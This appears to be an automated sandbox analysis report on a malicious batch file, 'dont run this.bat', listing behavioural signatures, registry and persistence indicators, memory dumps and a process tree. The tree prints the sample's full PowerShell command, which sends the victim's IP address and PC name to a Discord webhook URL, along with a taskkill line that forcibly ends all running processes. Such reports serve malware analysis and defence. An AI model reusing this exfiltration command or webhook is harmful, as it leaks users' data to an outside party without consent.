Overview

overview

10

Static

static

1

dont run this.bat

windows7-x64

10

dont run this.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 11:29

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General

  • Target
    dont run this.bat
  • Size 849B
  • Sample240603-nl142aeb67
  • SHA256 5fa54e25da95bc1653386095036e5e49674eaf32a84abf5260d06766939b3c2b
  • MD5 SHA1 SHA512
Score
10/10
executionpersistence

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 62 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dont run this.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& {$ip = Invoke-RestMethod http://ipinfo.io/json | Select-Object -ExpandProperty ip; $pcName = $env:COMPUTERNAME; $webhook = 'https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8'; $msg = 'IP Address: ' + $ip + ' | PC Name: ' + $pcName; Invoke-RestMethod -Uri $webhook -Method Post -Body @{content = $msg}}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1292
    • C:\Windows\system32\taskkill.exe
      taskkill /F /FI "STATUS eq RUNNING"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:716
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:1184
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4880
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    PID:4236
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3176
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4372

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        AppCache133618878175180492.txt
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133618878175180492.txt
        • Size 75KB
        • SHA256 edf5f36d377aa149ebfbf55c896fe8716ea11f49a9ec61df2d327bc43c835bab
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        __PSScriptPolicyTest_runqje0d.zcj.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_runqje0d.zcj.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512
        Submit Download

        memory/1292-14-0x000002204C590000-0x000002204CAB8000-memory.dmp
        Download

        memory/1292-11-0x00007FFC02760000-0x00007FFC03221000-memory.dmp
        Download

        memory/1292-12-0x00007FFC02760000-0x00007FFC03221000-memory.dmp
        Download

        memory/1292-13-0x000002204BE90000-0x000002204C052000-memory.dmp
        Download

        memory/1292-0-0x00007FFC02763000-0x00007FFC02765000-memory.dmp
        Download

        memory/1292-15-0x00007FFC02760000-0x00007FFC03221000-memory.dmp
        Download

        memory/1292-18-0x00007FFC02760000-0x00007FFC03221000-memory.dmp
        Download

        memory/1292-19-0x00007FFC02760000-0x00007FFC03221000-memory.dmp
        Download

        memory/1292-1-0x000002204B760000-0x000002204B782000-memory.dmp
        Download

        memory/4372-31-0x000001EB88B10000-0x000001EB88B30000-memory.dmp
        Download

        memory/4372-61-0x000001EB890E0000-0x000001EB89100000-memory.dmp
        Download

        memory/4372-60-0x000001EB88AD0000-0x000001EB88AF0000-memory.dmp
        Download

        memory/4880-24-0x0000000002C90000-0x0000000002C91000-memory.dmp
        Download